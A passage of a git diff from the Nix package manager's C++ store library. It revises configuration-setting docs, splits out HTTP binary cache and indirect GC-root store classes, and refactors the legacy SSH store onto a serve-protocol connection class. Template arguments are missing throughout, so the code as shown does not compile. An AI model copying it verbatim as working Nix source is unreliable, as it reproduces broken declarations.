certificates used to + authenticate `https://` downloads. Nix by default will use + the first of the following files that exists: + + 1. `/etc/ssl/certs/ca-certificates.crt` + 2. `/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt` + + The path can be overridden by the following environment + variables, in order of precedence: + + 1. `NIX_SSL_CERT_FILE` + 2. `SSL_CERT_FILE` + )"}; #if __linux__ Setting filterSyscalls{ @@ -872,7 +1088,9 @@ public: may be useful in certain scenarios (e.g. to spin up containers or set up userspace network interfaces in tests). )"}; +#endif +#if HAVE_ACL_SUPPORT Setting ignoredAcls{ this, {"security.selinux", "system.nfs4_acl", "security.csm"}, "ignored-acls", R"( @@ -887,12 +1105,11 @@ public: this, {}, "hashed-mirrors", R"( A list of web servers used by `builtins.fetchurl` to obtain files by - hash. The default is `http://tarballs.nixos.org/`. Given a hash type - *ht* and a base-16 hash *h*, Nix will try to download the file from - *hashed-mirror*/*ht*/*h*. This allows files to be downloaded even if - they have disappeared from their original URI. For example, given - the default mirror `http://tarballs.nixos.org/`, when building the - derivation + hash. Given a hash algorithm *ha* and a base-16 hash *h*, Nix will try to + download the file from *hashed-mirror*/*ha*/*h*. This allows files to + be downloaded even if they have disappeared from their original URI. + For example, given an example mirror `http://tarballs.nixos.org/`, + when building the derivation ```nix builtins.fetchurl { @@ -916,7 +1133,10 @@ public: )"}; Setting maxFree{ - this, std::numeric_limits::max(), "max-free", + // n.b. this is deliberately int64 max rather than uint64 max because + // this goes through the Nix language JSON parser and thus needs to be + // representable in Nix language integers. + this, std::numeric_limits::max(), "max-free", R"( When a garbage collection is triggered by the `min-free` option, it stops as soon as `max-free` bytes are available. The default is @@ -926,39 +1146,6 @@ public: Setting minFreeCheckInterval{this, 5, "min-free-check-interval", "Number of seconds between checking free disk space."}; - PluginFilesSetting pluginFiles{ - this, {}, "plugin-files", - R"( - A list of plugin files to be loaded by Nix. Each of these files will - be dlopened by Nix, allowing them to affect execution through static - initialization. In particular, these plugins may construct static - instances of RegisterPrimOp to add new primops or constants to the - expression language, RegisterStoreImplementation to add new store - implementations, RegisterCommand to add new subcommands to the `nix` - command, and RegisterSetting to add new nix config settings. See the - constructors for those types for more details. - - Warning! These APIs are inherently unstable and may change from - release to release. - - Since these files are loaded into the same address space as Nix - itself, they must be DSOs compatible with the instance of Nix - running at the time (i.e. compiled against the same headers, not - linked to any incompatible libraries). They should not be linked to - any Nix libs directly, as those will be available already at load - time. - - If an entry in the list is a directory, all files in the directory - are loaded as plugins (non-recursively). - )"}; - - Setting> experimentalFeatures{this, {}, "experimental-features", - "Experimental Nix features to enable."}; - - bool isExperimentalFeatureEnabled(const ExperimentalFeature &); - - void requireExperimentalFeature(const ExperimentalFeature &); - Setting narBufferSize{this, 32 * 1024 * 1024, "nar-buffer-size", "Maximum size of NARs before spilling them to disk."}; @@ -974,21 +1161,111 @@ public: resolves to a different location from that of the build machine. You can enable this setting if you are sure you're not going to do that. )"}; + + Setting useXDGBaseDirectories{ + this, false, "use-xdg-base-directories", + R"( + If set to `true`, Nix will conform to the [XDG Base Directory Specification] for files in `$HOME`. + The environment variables used to implement this are documented in the [Environment Variables section](@docroot@/command-ref/env-common.md). + + [XDG Base Directory Specification]: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html + + > **Warning** + > This changes the location of some well-known symlinks that Nix creates, which might break tools that rely on the old, non-XDG-conformant locations. + + In particular, the following locations change: + + | Old | New | + |-------------------|--------------------------------| + | `~/.nix-profile` | `$XDG_STATE_HOME/nix/profile` | + | `~/.nix-defexpr` | `$XDG_STATE_HOME/nix/defexpr` | + | `~/.nix-channels` | `$XDG_STATE_HOME/nix/channels` | + + If you already have Nix installed and are using [profiles](@docroot@/package-management/profiles.md) or [channels](@docroot@/command-ref/nix-channel.md), you should migrate manually when you enable this option. + If `$XDG_STATE_HOME` is not set, use `$HOME/.local/state/nix` instead of `$XDG_STATE_HOME/nix`. + This can be achieved with the following shell commands: + + ```sh + nix_state_home=${XDG_STATE_HOME-$HOME/.local/state}/nix + mkdir -p $nix_state_home + mv $HOME/.nix-profile $nix_state_home/profile + mv $HOME/.nix-defexpr $nix_state_home/defexpr + mv $HOME/.nix-channels $nix_state_home/channels + ``` + )" + }; + + Setting impureEnv {this, {}, "impure-env", + R"( + A list of items, each in the format of: + + - `name=value`: Set environment variable `name` to `value`. + + If the user is trusted (see `trusted-users` option), when building + a fixed-output derivation, environment variables set in this option + will be passed to the builder if they are listed in [`impureEnvVars`](@docroot@/language/advanced-attributes.md##adv-attr-impureEnvVars). + + This option is useful for, e.g., setting `https_proxy` for + fixed-output derivations and in a multi-user Nix installation, or + setting private access tokens when fetching a private repository. + )", + {}, // aliases + true, // document default + Xp::ConfigurableImpureEnv + }; + + Setting upgradeNixStorePathUrl{ + this, + "https://github.com/NixOS/nixpkgs/raw/master/nixos/modules/installer/tools/nix-fallback-paths.nix", + "upgrade-nix-store-path-url", + R"( + Used by `nix upgrade-nix`, the URL of the file that contains the + store paths of the latest Nix release. + )" + }; + + Setting warnLargePathThreshold{ + this, + // n.b. this is deliberately int64 max rather than uint64 max because + // this goes through the Nix language JSON parser and thus needs to be + // representable in Nix language integers. + std::numeric_limits::max(), + "warn-large-path-threshold", + R"( + Warn when copying a path larger than this number of bytes to the Nix store + (as determined by its NAR serialisation). + )" + }; }; // FIXME: don't use a global variable. extern Settings settings; -/* This should be called after settings are initialized, but before - anything else */ -void initPlugins(); - -void loadConfFile(); +/** + * Load the configuration (from `nix.conf`, `NIX_CONFIG`, etc.) into the + * given configuration object. + * + * Usually called with `globalConfig`. + */ +void loadConfFile(AbstractConfig & config); // Used by the Settings constructor std::vector getUserConfigFiles(); extern const std::string nixVersion; +/** + * @param loadConfig Whether to load configuration from `nix.conf`, `NIX_CONFIG`, etc. May be disabled for unit tests. + * @note When using libexpr, and/or libmain, This is not sufficient. See initNix(). + */ +void initLibStore(bool loadConfig = true); + +/** + * It's important to initialize before doing _anything_, which is why we + * call upon the programmer to handle this correctly. However, we only add + * this in a key locations, so as not to litter the code. + */ +void assertLibStoreInitialized(); + } diff --git a/src/libstore/http-binary-cache-store.cc b/src/libstore/http-binary-cache-store.cc index 73bcd6e81..b15ef4e4c 100644 --- a/src/libstore/http-binary-cache-store.cc +++ b/src/libstore/http-binary-cache-store.cc @@ -1,4 +1,4 @@ -#include "binary-cache-store.hh" +#include "http-binary-cache-store.hh" #include "filetransfer.hh" #include "globals.hh" #include "nar-info-disk-cache.hh" @@ -8,19 +8,37 @@ namespace nix { MakeError(UploadToHTTP, Error); -struct HttpBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig -{ - using BinaryCacheStoreConfig::BinaryCacheStoreConfig; - const std::string name() override { return "Http Binary Cache Store"; } -}; +HttpBinaryCacheStoreConfig::HttpBinaryCacheStoreConfig( + std::string_view scheme, + std::string_view _cacheUri, + const Params & params) + : StoreConfig(params) + , BinaryCacheStoreConfig(params) + , cacheUri( + std::string { scheme } + + "://" + + (!_cacheUri.empty() + ? _cacheUri + : throw UsageError("`%s` Store requires a non-empty authority in Store URL", scheme))) +{ + while (!cacheUri.empty() && cacheUri.back() == '/') + cacheUri.pop_back(); +} + + +std::string HttpBinaryCacheStoreConfig::doc() +{ + return + #include "http-binary-cache-store.md" + ; +} + class HttpBinaryCacheStore : public virtual HttpBinaryCacheStoreConfig, public virtual BinaryCacheStore { private: - Path cacheUri; - struct State { bool enabled = true; @@ -32,19 +50,15 @@ private: public: HttpBinaryCacheStore( - const std::string & scheme, - const Path & _cacheUri, + std::string_view scheme, + PathView cacheUri, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) - , HttpBinaryCacheStoreConfig(params) + , HttpBinaryCacheStoreConfig(scheme, cacheUri, params) , Store(params) , BinaryCacheStore(params) - , cacheUri(scheme + "://" + _cacheUri) { - if (cacheUri.back() == '/') - cacheUri.pop_back(); - diskCache = getNarInfoDiskCache(); } @@ -56,7 +70,7 @@ public: void init() override { // FIXME: do this lazily? - if (auto cacheInfo = diskCache->cacheExists(cacheUri)) { + if (auto cacheInfo = diskCache->upToDateCacheExists(cacheUri)) { wantMassQuery.setDefault(cacheInfo->wantMassQuery); priority.setDefault(cacheInfo->priority); } else { @@ -69,14 +83,6 @@ public: } } - static std::set uriSchemes() - { - static bool forceHttp = getEnv("_NIX_FORCE_HTTP") == "1"; - auto ret = std::set({"http", "https"}); - if (forceHttp) ret.insert("file"); - return ret; - } - protected: void maybeDisable() @@ -187,6 +193,18 @@ protected: }}); } + /** + * This isn't actually necessary read only. We support "upsert" now, so we + * have a notion of authentication via HTTP POST/PUT. + * + * For now, we conservatively say we don't know. + * + * \todo try to expose our HTTP authentication status. + */ + std::optional isTrustedClient() override + { + return std::nullopt; + } }; static RegisterStoreImplementation regHttpBinaryCacheStore; diff --git a/src/libstore/http-binary-cache-store.hh b/src/libstore/http-binary-cache-store.hh new file mode 100644 index 000000000..d2fc43210 --- /dev/null +++ b/src/libstore/http-binary-cache-store.hh @@ -0,0 +1,30 @@ +#include "binary-cache-store.hh" + +namespace nix { + +struct HttpBinaryCacheStoreConfig : virtual BinaryCacheStoreConfig +{ + using BinaryCacheStoreConfig::BinaryCacheStoreConfig; + + HttpBinaryCacheStoreConfig(std::string_view scheme, std::string_view _cacheUri, const Params & params); + + Path cacheUri; + + const std::string name() override + { + return "HTTP Binary Cache Store"; + } + + static std::set uriSchemes() + { + static bool forceHttp = getEnv("_NIX_FORCE_HTTP") == "1"; + auto ret = std::set({"http", "https"}); + if (forceHttp) + ret.insert("file"); + return ret; + } + + std::string doc() override; +}; + +} diff --git a/src/libstore/http-binary-cache-store.md b/src/libstore/http-binary-cache-store.md new file mode 100644 index 000000000..20c26d0c2 --- /dev/null +++ b/src/libstore/http-binary-cache-store.md @@ -0,0 +1,8 @@ +R"( + +**Store URL format**: `http://...`, `https://...` + +This store allows a binary cache to be accessed via the HTTP +protocol. + +)" diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc new file mode 100644 index 000000000..844d0d6ed --- /dev/null +++ b/src/libstore/indirect-root-store.cc @@ -0,0 +1,45 @@ +#include "indirect-root-store.hh" + +namespace nix { + +void IndirectRootStore::makeSymlink(const Path & link, const Path & target) +{ + /* Create directories up to `gcRoot'. */ + createDirs(dirOf(link)); + + /* Create the new symlink. */ + Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand()); + createSymlink(target, tempLink); + + /* Atomically replace the old one. */ + std::filesystem::rename(tempLink, link); +} + +Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot) +{ + Path gcRoot(canonPath(_gcRoot)); + + if (isInStore(gcRoot)) + throw Error( + "creating a garbage collector root (%1%) in the Nix store is forbidden " + "(are you running nix-build inside the store?)", + gcRoot); + + /* Register this root with the garbage collector, if it's + running. This should be superfluous since the caller should + have registered this root yet, but let's be on the safe + side. */ + addTempRoot(storePath); + + /* Don't clobber the link if it already exists and doesn't + point to the Nix store. */ + if (pathExists(gcRoot) && (!std::filesystem::is_symlink(gcRoot) || !isInStore(readLink(gcRoot)))) + throw Error("cannot create symlink '%1%'; already exists", gcRoot); + + makeSymlink(gcRoot, printStorePath(storePath)); + addIndirectRoot(gcRoot); + + return gcRoot; +} + +} diff --git a/src/libstore/indirect-root-store.hh b/src/libstore/indirect-root-store.hh new file mode 100644 index 000000000..b74ebc1ee --- /dev/null +++ b/src/libstore/indirect-root-store.hh @@ -0,0 +1,75 @@ +#pragma once +///@file + +#include "local-fs-store.hh" + +namespace nix { + +/** + * Mix-in class for implementing permanent roots as a pair of a direct + * (strong) reference and indirect weak reference to the first + * reference. + * + * See methods for details on the operations it represents. + * + * @note + * To understand the purpose of this class, it might help to do some + * "closed-world" rather than "open-world" reasoning, and consider the + * problem it solved for us. This class was factored out from + * `LocalFSStore` in order to support the following table, which + * contains 4 concrete store types (non-abstract classes, exposed to the + * user), and how they implemented the two GC root methods: + * + * @note + * | | `addPermRoot()` | `addIndirectRoot()` | + * |-------------------|-----------------|---------------------| + * | `LocalStore` | local | local | + * | `UDSRemoteStore` | local | remote | + * | `SSHStore` | doesn't have | doesn't have | + * | `MountedSSHStore` | remote | doesn't have | + * + * @note + * Note how only the local implementations of `addPermRoot()` need + * `addIndirectRoot()`; that is what this class enforces. Without it, + * and with `addPermRoot()` and `addIndirectRoot()` both `virtual`, we + * would accidentally be allowing for a combinatorial explosion of + * possible implementations many of which make no sense. Having this and + * that invariant enforced cuts down that space. + */ +struct IndirectRootStore : public virtual LocalFSStore +{ + inline static std::string operationName = "Indirect GC roots registration"; + + /** + * Implementation of `LocalFSStore::addPermRoot` where the permanent + * root is a pair of + * + * - The user-facing symlink which all implementations must create + * + * - An additional weak reference known as the "indirect root" that + * points to that symlink. + * + * The garbage collector will automatically remove the indirect root + * when it finds that the symlink has disappeared. + * + * The implementation of this method is concrete, but it delegates + * to `addIndirectRoot()` which is abstract. + */ + Path addPermRoot(const StorePath & storePath, const Path & gcRoot) override final; + + /** + * Add an indirect root, which is a weak reference to the + * user-facing symlink created by `addPermRoot()`. + * + * @param path user-facing and user-controlled symlink to a store + * path. + * + * The form this weak-reference takes is implementation-specific. + */ + virtual void addIndirectRoot(const Path & path) = 0; + +protected: + void makeSymlink(const Path & link, const Path & target); +}; + +} diff --git a/src/libstore/keys.cc b/src/libstore/keys.cc new file mode 100644 index 000000000..70478e7ad --- /dev/null +++ b/src/libstore/keys.cc @@ -0,0 +1,31 @@ +#include "file-system.hh" +#include "globals.hh" +#include "keys.hh" + +namespace nix { + +PublicKeys getDefaultPublicKeys() +{ + PublicKeys publicKeys; + + // FIXME: filter duplicates + + for (auto s : settings.trustedPublicKeys.get()) { + PublicKey key(s); + publicKeys.emplace(key.name, key); + } + + for (auto secretKeyFile : settings.secretKeyFiles.get()) { + try { + SecretKey secretKey(readFile(secretKeyFile)); + publicKeys.emplace(secretKey.name, secretKey.toPublicKey()); + } catch (SystemError & e) { + /* Ignore unreadable key files. That's normal in a + multi-user installation. */ + } + } + + return publicKeys; +} + +} diff --git a/src/libstore/keys.hh b/src/libstore/keys.hh new file mode 100644 index 000000000..3da19493f --- /dev/null +++ b/src/libstore/keys.hh @@ -0,0 +1,10 @@ +#pragma once +///@file + +#include "signature/local-keys.hh" + +namespace nix { + +PublicKeys getDefaultPublicKeys(); + +} diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index 4d398b21d..eac360a4f 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -1,386 +1,321 @@ +#include "legacy-ssh-store.hh" +#include "common-ssh-store-config.hh" #include "archive.hh" #include "pool.hh" #include "remote-store.hh" #include "serve-protocol.hh" +#include "serve-protocol-connection.hh" +#include "serve-protocol-impl.hh" #include "build-result.hh" #include "store-api.hh" #include "path-with-outputs.hh" -#include "worker-protocol.hh" #include "ssh.hh" #include "derivations.hh" #include "callback.hh" namespace nix { -struct LegacySSHStoreConfig : virtual StoreConfig +LegacySSHStoreConfig::LegacySSHStoreConfig( + std::string_view scheme, + std::string_view authority, + const Params & params) + : StoreConfig(params) + , CommonSSHStoreConfig(scheme, authority, params) { - using StoreConfig::StoreConfig; - const Setting maxConnections{(StoreConfig*) this, 1, "max-connections", "maximum number of concurrent SSH connections"}; - const Setting sshKey{(StoreConfig*) this, "", "ssh-key", "path to an SSH private key"}; - const Setting sshPublicHostKey{(StoreConfig*) this, "", "base64-ssh-public-host-key", "The public half of the host's SSH key"}; - const Setting compress{(StoreConfig*) this, false, "compress", "whether to compress the connection"}; - const Setting remoteProgram{(StoreConfig*) this, "nix-store", "remote-program", "path to the nix-store executable on the remote system"}; - const Setting remoteStore{(StoreConfig*) this, "", "remote-store", "URI of the store on the remote system"}; +} - const std::string name() override { return "Legacy SSH Store"; } +std::string LegacySSHStoreConfig::doc() +{ + return + #include "legacy-ssh-store.md" + ; +} + + +struct LegacySSHStore::Connection : public ServeProto::BasicClientConnection +{ + std::unique_ptr sshConn; + bool good = true; }; -struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Store +LegacySSHStore::LegacySSHStore( + std::string_view scheme, + std::string_view host, + const Params & params) + : StoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , LegacySSHStoreConfig(scheme, host, params) + , Store(params) + , connections(make_ref>( + std::max(1, (int) maxConnections), + [this]() { return openConnection(); }, + [](const ref & r) { return r->good; } + )) + , master(createSSHMaster( + // Use SSH master only if using more than 1 connection. + connections->capacity() > 1, + logFD)) { - // Hack for getting remote build log output. - // Intentionally not in `LegacySSHStoreConfig` so that it doesn't appear in - // the documentation - const Setting logFD{(StoreConfig*) this, -1, "log-fd", "file descriptor to which SSH's stderr is connected"}; +} - struct Connection - { - std::unique_ptr sshConn; - FdSink to; - FdSource from; - int remoteVersion; - bool good = true; - }; - std::string host; - - ref> connections; - - SSHMaster master; - - static std::set uriSchemes() { return {"ssh"}; } - - LegacySSHStore(const std::string & scheme, const std::string & host, const Params & params) - : StoreConfig(params) - , LegacySSHStoreConfig(params) - , Store(params) - , host(host) - , connections(make_ref>( - std::max(1, (int) maxConnections), - [this]() { return openConnection(); }, - [](const ref & r) { return r->good; } - )) - , master( - host, - sshKey, - sshPublicHostKey, - // Use SSH master only if using more than 1 connection. - connections->capacity() > 1, - compress, - logFD) - { +ref LegacySSHStore::openConnection() +{ + auto conn = make_ref(); + Strings command = remoteProgram.get(); + command.push_back("--serve"); + command.push_back("--write"); + if (remoteStore.get() != "") { + command.push_back("--store"); + command.push_back(remoteStore.get()); } + conn->sshConn = master.startCommand(std::move(command)); + conn->to = FdSink(conn->sshConn->in.get()); + conn->from = FdSource(conn->sshConn->out.get()); - ref openConnection() - { - auto conn = make_ref(); - conn->sshConn = master.startCommand( - fmt("%s --serve --write", remoteProgram) - + (remoteStore.get() == "" ? "" : " --store " + shellEscape(remoteStore.get()))); - conn->to = FdSink(conn->sshConn->in.get()); - conn->from = FdSource(conn->sshConn->out.get()); - - try { - conn->to << SERVE_MAGIC_1 << SERVE_PROTOCOL_VERSION; - conn->to.flush(); - - StringSink saved; - try { - TeeSource tee(conn->from, saved); - unsigned int magic = readInt(tee); - if (magic != SERVE_MAGIC_2) - throw Error("'nix-store --serve' protocol mismatch from '%s'", host); - } catch (SerialisationError & e) { - /* In case the other side is waiting for our input, - close it. */ - conn->sshConn->in.close(); - auto msg = conn->from.drain(); - throw Error("'nix-store --serve' protocol mismatch from '%s', got '%s'", - host, chomp(saved.s + msg)); - } - conn->remoteVersion = readInt(conn->from); - if (GET_PROTOCOL_MAJOR(conn->remoteVersion) != 0x200) - throw Error("unsupported 'nix-store --serve' protocol version on '%s'", host); - - } catch (EndOfFile & e) { - throw Error("cannot connect to '%1%'", host); + StringSink saved; + TeeSource tee(conn->from, saved); + try { + conn->remoteVersion = ServeProto::BasicClientConnection::handshake( + conn->to, tee, SERVE_PROTOCOL_VERSION, host); + } catch (SerialisationError & e) { + // in.close(): Don't let the remote block on us not writing. + conn->sshConn->in.close(); + { + NullSink nullSink; + tee.drainInto(nullSink); } - - return conn; - }; - - std::string getUri() override - { - return *uriSchemes().begin() + "://" + host; + throw Error("'nix-store --serve' protocol mismatch from '%s', got '%s'", + host, chomp(saved.s)); + } catch (EndOfFile & e) { + throw Error("cannot connect to '%1%'", host); } - void queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept override - { - try { - auto conn(connections->get()); + return conn; +}; - /* No longer support missing NAR hash */ - assert(GET_PROTOCOL_MINOR(conn->remoteVersion) >= 4); - debug("querying remote host '%s' for info on '%s'", host, printStorePath(path)); +std::string LegacySSHStore::getUri() +{ + return *uriSchemes().begin() + "://" + host; +} - conn->to << cmdQueryPathInfos << PathSet{printStorePath(path)}; - conn->to.flush(); - - auto p = readString(conn->from); - if (p.empty()) return callback(nullptr); - auto path2 = parseStorePath(p); - assert(path == path2); - /* Hash will be set below. FIXME construct ValidPathInfo at end. */ - auto info = std::make_shared(path, Hash::dummy); - - PathSet references; - auto deriver = readString(conn->from); - if (deriver != "") - info->deriver = parseStorePath(deriver); - info->references = worker_proto::read(*this, conn->from, Phantom {}); - readLongLong(conn->from); // download size - info->narSize = readLongLong(conn->from); - - { - auto s = readString(conn->from); - if (s == "") - throw Error("NAR hash is now mandatory"); - info->narHash = Hash::parseAnyPrefixed(s); - } - info->ca = parseContentAddressOpt(readString(conn->from)); - info->sigs = readStrings(conn->from); - - auto s = readString(conn->from); - assert(s == ""); - - callback(std::move(info)); - } catch (...) { callback.rethrow(); } - } - - void addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) override - { - debug("adding path '%s' to remote host '%s'", printStorePath(info.path), host); +void LegacySSHStore::queryPathInfoUncached(const StorePath & path, + Callback> callback) noexcept +{ + try { auto conn(connections->get()); - if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 5) { + /* No longer support missing NAR hash */ + assert(GET_PROTOCOL_MINOR(conn->remoteVersion) >= 4); - conn->to - << cmdAddToStoreNar - << printStorePath(info.path) - << (info.deriver ? printStorePath(*info.deriver) : "") - << info.narHash.to_string(Base16, false); - worker_proto::write(*this, conn->to, info.references); - conn->to - << info.registrationTime - << info.narSize - << info.ultimate - << info.sigs - << renderContentAddress(info.ca); - try { - copyNAR(source, conn->to); - } catch (...) { - conn->good = false; - throw; - } - conn->to.flush(); + debug("querying remote host '%s' for info on '%s'", host, printStorePath(path)); - } else { + auto infos = conn->queryPathInfos(*this, {path}); - conn->to - << cmdImportPaths - << 1; - try { - copyNAR(source, conn->to); - } catch (...) { - conn->good = false; - throw; - } - conn->to - << exportMagic - << printStorePath(info.path); - worker_proto::write(*this, conn->to, info.references); - conn->to - << (info.deriver ? printStorePath(*info.deriver) : "") - << 0 - << 0; - conn->to.flush(); + switch (infos.size()) { + case 0: + return callback(nullptr); + case 1: { + auto & [path2, info] = *infos.begin(); + if (info.narHash == Hash::dummy) + throw Error("NAR hash is now mandatory"); + + assert(path == path2); + return callback(std::make_shared( + std::move(path), + std::move(info) + )); } + default: + throw Error("More path infos returned than queried"); + } + } catch (...) { callback.rethrow(); } +} + + +void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source, + RepairFlag repair, CheckSigsFlag checkSigs) +{ + debug("adding path '%s' to remote host '%s'", printStorePath(info.path), host); + + auto conn(connections->get()); + + if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 5) { + + conn->to + << ServeProto::Command::AddToStoreNar + << printStorePath(info.path) + << (info.deriver ? printStorePath(*info.deriver) : "") + << info.narHash.to_string(HashFormat::Base16, false); + ServeProto::write(*this, *conn, info.references); + conn->to + << info.registrationTime + << info.narSize + << info.ultimate + << info.sigs + << renderContentAddress(info.ca); + try { + copyNAR(source, conn->to); + } catch (...) { + conn->good = false; + throw; + } + conn->to.flush(); if (readInt(conn->from) != 1) throw Error("failed to add path '%s' to remote host '%s'", printStorePath(info.path), host); - } - void narFromPath(const StorePath & path, Sink & sink) override - { - auto conn(connections->get()); + } else { - conn->to << cmdDumpStorePath << printStorePath(path); - conn->to.flush(); - copyNAR(conn->from, sink); - } - - std::optional queryPathFromHashPart(const std::string & hashPart) override - { unsupported("queryPathFromHashPart"); } - - StorePath addToStore( - std::string_view name, - const Path & srcPath, - FileIngestionMethod method, - HashType hashAlgo, - PathFilter & filter, - RepairFlag repair, - const StorePathSet & references) override - { unsupported("addToStore"); } - - StorePath addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) override - { unsupported("addTextToStore"); } - -private: - - void putBuildSettings(Connection & conn) - { - conn.to - << settings.maxSilentTime - << settings.buildTimeout; - if (GET_PROTOCOL_MINOR(conn.remoteVersion) >= 2) - conn.to - << settings.maxLogSize; - if (GET_PROTOCOL_MINOR(conn.remoteVersion) >= 3) - conn.to - << 0 // buildRepeat hasn't worked for ages anyway + conn->importPaths(*this, [&](Sink & sink) { + try { + copyNAR(source, sink); + } catch (...) { + conn->good = false; + throw; + } + sink + << exportMagic + << printStorePath(info.path); + ServeProto::write(*this, *conn, info.references); + sink + << (info.deriver ? printStorePath(*info.deriver) : "") + << 0 << 0; + }); - if (GET_PROTOCOL_MINOR(conn.remoteVersion) >= 7) { - conn.to << ((int) settings.keepFailed); - } + } +} + + +void LegacySSHStore::narFromPath(const StorePath & path, Sink & sink) +{ + auto conn(connections->get()); + conn->narFromPath(*this, path, [&](auto & source) { + copyNAR(source, sink); + }); +} + + +static ServeProto::BuildOptions buildSettings() +{ + return { + .maxSilentTime = settings.maxSilentTime, + .buildTimeout = settings.buildTimeout, + .maxLogSize = settings.maxLogSize, + .nrRepeats = 0, // buildRepeat hasn't worked for ages anyway + .enforceDeterminism = 0, + .keepFailed = settings.keepFailed, + }; +} + + +BuildResult LegacySSHStore::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, + BuildMode buildMode) +{ + auto conn(connections->get()); + + conn->putBuildDerivationRequest(*this, drvPath, drv, buildSettings()); + + return conn->getBuildDerivationResponse(*this); +} + + +void LegacySSHStore::buildPaths(const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) +{ + if (evalStore && evalStore.get() != this) + throw Error("building on an SSH store is incompatible with '--eval-store'"); + + auto conn(connections->get()); + + conn->to << ServeProto::Command::BuildPaths; + Strings ss; + for (auto & p : drvPaths) { + auto sOrDrvPath = StorePathWithOutputs::tryFromDerivedPath(p); + std::visit(overloaded { + [&](const StorePathWithOutputs & s) { + ss.push_back(s.to_string(*this)); + }, + [&](const StorePath & drvPath) { + throw Error("wanted to fetch '%s' but the legacy ssh protocol doesn't support merely substituting drv files via the build paths command. It would build them instead. Try using ssh-ng://", printStorePath(drvPath)); + }, + [&](std::monostate) { + throw Error("wanted build derivation that is itself a build product, but the legacy ssh protocol doesn't support that. Try using ssh-ng://"); + }, + }, sOrDrvPath); + } + conn->to << ss; + + ServeProto::write(*this, *conn, buildSettings()); + + conn->to.flush(); + + BuildResult result; + result.status = (BuildResult::Status) readInt(conn->from); + + if (!result.success()) { + conn->from >> result.errorMsg; + throw Error(result.status, result.errorMsg); + } +} + + +void LegacySSHStore::computeFSClosure(const StorePathSet & paths, + StorePathSet & out, bool flipDirection, + bool includeOutputs, bool includeDerivers) +{ + if (flipDirection || includeDerivers) { + Store::computeFSClosure(paths, out, flipDirection, includeOutputs, includeDerivers); + return; } -public: + auto conn(connections->get()); - BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) override - { - auto conn(connections->get()); + conn->to + << ServeProto::Command::QueryClosure + << includeOutputs; + ServeProto::write(*this, *conn, paths); + conn->to.flush(); - conn->to - << cmdBuildDerivation - << printStorePath(drvPath); - writeDerivation(conn->to, *this, drv); + for (auto & i : ServeProto::Serialise::read(*this, *conn)) + out.insert(i); +} - putBuildSettings(*conn); - conn->to.flush(); +StorePathSet LegacySSHStore::queryValidPaths(const StorePathSet & paths, + SubstituteFlag maybeSubstitute) +{ + auto conn(connections->get()); + return conn->queryValidPaths(*this, + false, paths, maybeSubstitute); +} - BuildResult status { .path = DerivedPath::Built { .drvPath = drvPath } }; - status.status = (BuildResult::Status) readInt(conn->from); - conn->from >> status.errorMsg; - if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 3) - conn->from >> status.timesBuilt >> status.isNonDeterministic >> status.startTime >> status.stopTime; - if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 6) { - status.builtOutputs = worker_proto::read(*this, conn->from, Phantom {}); - } - return status; - } +void LegacySSHStore::connect() +{ + auto conn(connections->get()); +} - void buildPaths(const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) override - { - if (evalStore && evalStore.get() != this) - throw Error("building on an SSH store is incompatible with '--eval-store'"); - auto conn(connections->get()); +unsigned int LegacySSHStore::getProtocol() +{ + auto conn(connections->get()); + return conn->remoteVersion; +} - conn->to << cmdBuildPaths; - Strings ss; - for (auto & p : drvPaths) { - auto sOrDrvPath = StorePathWithOutputs::tryFromDerivedPath(p); - std::visit(overloaded { - [&](const StorePathWithOutputs & s) { - ss.push_back(s.to_string(*this)); - }, - [&](const StorePath & drvPath) { - throw Error("wanted to fetch '%s' but the legacy ssh protocol doesn't support merely substituting drv files via the build paths command. It would build them instead. Try using ssh-ng://", printStorePath(drvPath)); - }, - }, sOrDrvPath); - } - conn->to << ss; - putBuildSettings(*conn); +/** + * The legacy ssh protocol doesn't support checking for trusted-user. + * Try using ssh-ng:// instead if you want to know. + */ +std::optional isTrustedClient() +{ + return std::nullopt; +} - conn->to.flush(); - - BuildResult result { .path = DerivedPath::Opaque { StorePath::dummy } }; - result.status = (BuildResult::Status) readInt(conn->from); - - if (!result.success()) { - conn->from >> result.errorMsg; - throw Error(result.status, result.errorMsg); - } - } - - void ensurePath(const StorePath & path) override - { unsupported("ensurePath"); } - - void computeFSClosure(const StorePathSet & paths, - StorePathSet & out, bool flipDirection = false, - bool includeOutputs = false, bool includeDerivers = false) override - { - if (flipDirection || includeDerivers) { - Store::computeFSClosure(paths, out, flipDirection, includeOutputs, includeDerivers); - return; - } - - auto conn(connections->get()); - - conn->to - << cmdQueryClosure - << includeOutputs; - worker_proto::write(*this, conn->to, paths); - conn->to.flush(); - - for (auto & i : worker_proto::read(*this, conn->from, Phantom {})) - out.insert(i); - } - - StorePathSet queryValidPaths(const StorePathSet & paths, - SubstituteFlag maybeSubstitute = NoSubstitute) override - { - auto conn(connections->get()); - - conn->to - << cmdQueryValidPaths - << false // lock - << maybeSubstitute; - worker_proto::write(*this, conn->to, paths); - conn->to.flush(); - - return worker_proto::read(*this, conn->from, Phantom {}); - } - - void connect() override - { - auto conn(connections->get()); - } - - unsigned int getProtocol() override - 